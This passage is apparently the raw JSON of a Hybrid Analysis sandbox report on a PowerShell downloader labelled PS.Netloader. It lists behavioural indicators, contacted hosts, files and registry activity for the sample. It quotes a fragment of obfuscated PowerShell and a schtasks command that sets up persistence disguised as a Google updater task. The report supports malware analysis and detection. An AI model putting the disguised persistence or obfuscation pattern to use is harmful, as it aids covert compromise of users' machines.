(Indicator: \"get-transportrule\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = \"IFBy\";${Get-Date -InputFormat -LogName Security && ($bhhd)} = \"b2Nlc3Nvc\";${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} = \"iBUaW1\";\" (Indicator: \"get-transportrule\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.008","relevance":1,"id":"string-714","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1547.006","relevance":3,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 274F0000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 274F0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/create /tn \\\\GoogleSystem\\\\GoogleUpdater\\\\GoogleUpdaterTaskSystem47.0.7703.CL_NCL_ba6af2926c8603c8{47263A17-2D66-43B9-9692-56314D0C1AEC} /xml %TEMP%\\\\schevnt.xml /f\" (UID: 00000000-00002744)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed from task XML file","description":"Process \"schtasks.exe\" with commandline \"/create /tn \\\\GoogleSystem\\\\GoogleUpdater\\\\GoogleUpdaterTaskSystem47.0.7703.CL_NCL_ba6af2926c8603c8{47263A17-2D66-43B9-9692-56314D0C1AEC} /xml %TEMP%\\\\schevnt.xml /f\" (UID: 00000000-00002744)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":5,"id":"target-414","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script connects to a host without prior DNS lookup","description":"Process \"powershell.exe\" connected to \"192.0.80.242\" (Port: 443, Protocol: TCP) without a DNS lookup","origin":"Monitored Target","mitre_attack_id":"T1071.001","relevance":10,"id":"target-38","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":117,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":17,"files_deleted_count":0,"registry_keys_created_count":46,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":46,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["evasive"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69ebfff71e3a8d71c7009627","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"PS.Netloader","contacted_countries":["USA"],"submit_name":"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin","analysis_start_time":"2026-04-24T23:42:48+00:00","indicators_count":{"informative":148,"suspicious":14,"malicious":4},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"192.0.73.2","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"address":"192.0.80.242","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"address":"192.0.80.240","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"dns_resolutions":[{"domain":"en.gravatar.com","address":"192.0.80.240","ttl":10603,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"domain":"gravatar.com","address":"192.0.80.240","ttl":4,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"domain":"www.gravatar.com","address":"192.0.73.2","ttl":25,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"http_requests":[{"host":"www.gravatar.com","host_ip":"192.0.73.2:443","url":"/","method":"HEAD","response_code":"302","response_phrase":"Found","header":"HEAD / HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: www.gravatar.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}],"processes":[{"pid":6920,"ppid":0,"name":"powershell.exe","command_line":"-f \"C:\\0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin.ps1\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00000000-00006920","icon":"$50"},{"pid":2744,"ppid":6920,"name":"schtasks.exe","command_line":"/create /tn \\GoogleSystem\\GoogleUpdater\\GoogleUpdaterTaskSystem47.0.7703.CL_NCL_ba6af2926c8603c8{47263A17-2D66-43B9-9692-56314D0C1AEC} /xml %TEMP%\\schevnt.xml /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00006920","uid":"00000000-00002744"}],"all_imported_dlls":["combase.dll","mscorlib.ni.dll","rtutils.dll","sxs.dll","shlwapi.dll","AppResolver.dll","cldapi.dll","schannel.dll","sppc.dll","dhcpcsvc.dll","netutils.dll","System.Xml.ni.dll","System.Configuration.Install.ni.dll","winnsi.dll","ncryptsslp.dll","atl.dll","gdi32full.dll","rasman.dll","xmllite.dll","bcrypt.dll","F26Wd64k.dll","nsi.dll","imm32.dll","profapi.dll","aepic.dll","ntmarta.dll","clr.dll","System.DirectoryServices.ni.dll","IPHLPAPI.DLL","mswsock.dll","ntdll.dll","crypt32.dll","slc.dll","OnDemandConnRouteHelper.dll","rpcrt4.dll","bcryptprimitives.dll","ELSCore.dll","policymanager.dll","powrprof.dll","Microsoft.Management.Infrastructure.ni.dll","urlmon.dll","shell32.dll","Microsoft.PowerShell.Commands.Management.ni.dll","ntasn1.dll","msvcp_win.dll","advapi32.dll","System.Transactions.ni.dll","ws2_32.dll","gpapi.dll","System.Configuration.ni.dll","taskschd.dll","uxtheme.dll","System.Data.ni.dll","clrjit.dll","MpClient.dll","ole32.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","BCP47Langs.dll","amsi.dll","secur32.dll","gdi32.dll","mscoree.dll","fltLib.dll","version.dll","cryptbase.dll","rasadhlp.dll","srvcli.dll","System.Numerics.ni.dll","System.Transactions.dll","KernelBase.dll","msvcp110_win.dll","dnsapi.dll","dhcpcsvc6.dll","FWPUCLNT.DLL","msvcrt.dll","VxSSL64.dll","SHCore.dll","oleaut32.dll","kernel.appcore.dll","cryptsp.dll","imagehlp.dll","sspicli.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","rsaenh.dll","kernel32.dll","windows.storage.dll","ucrtbase_clr0400.dll","userenv.dll","ntshrui.dll","System.Core.ni.dll","System.Management.ni.dll","System.ni.dll","Microsoft.PowerShell.Security.ni.dll","ncrypt.dll","sechost.dll","propsys.dll","linkinfo.dll","cscapi.dll","System.Management.Automation.ni.dll","mskeyprotect.dll","ucrtbase.dll","iertutil.dll","System.Data.dll","vcruntime140_clr0400.dll","winhttp.dll","clbcatq.dll","user32.dll","win32u.dll","mscoreei.dll","psapi.dll","rasapi32.dll","cfgmgr32.dll","wintrust.dll","msasn1.dll","MpOAV.dll","wldp.dll","diasymreader.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"schevnt.xml","sha256":"64e59514ef7e2a3670fbde52184bd86ba65cdf68d15935e838d07daa37ed5aac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"MV5MLXW4KPVGCHZRESYM.temp","sha256":"2494846498f95dfcaa9c0f112f9e176720b6c5a31125ea0b4d4458bd74fda7eb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\MV5MLXW4KPVGCHZRESYM.temp","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF329a97.TMP","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_0rlulhno.vo4.ps1","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_aikvqwx4.xgw.psm1","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%TEMP%\\schevnt.xml","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"Local\\SM0:6920:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"SM0:6920:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"SM0:6920:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"Local\\SM0:6920:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6920:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6920:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6920:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6920:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}]}},"report_ids":{"sandbox_job_ids":["69ebfff71e3a8d71c7009627"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious TrojanDownloader/PS.Netloader Sample 0dccf5e59a32… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0dccf5e59a32…. Malware family: TrojanDownloader/PS.Netloader. Threat score 100/100. 2/27 AV engines flagged this file. 4 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85"}],["$","meta","4",{"property":"og:title","content":"Malicious TrojanDownloader/PS.Netloader Sample 0dccf5e59a32… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0dccf5e59a32…. Malware family: TrojanDownloader/PS.Netloader. Threat score 100/100. 2/27 AV engines flagged this file. 4 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TrojanDownloader/PS.Netloader Sample 0dccf5e59a32… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0dccf5e59a32…. Malware family: TrojanDownloader/PS.Netloader. Threat score 100/100. 2/27 AV engines flagged this file. 4 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L51","11",{}]]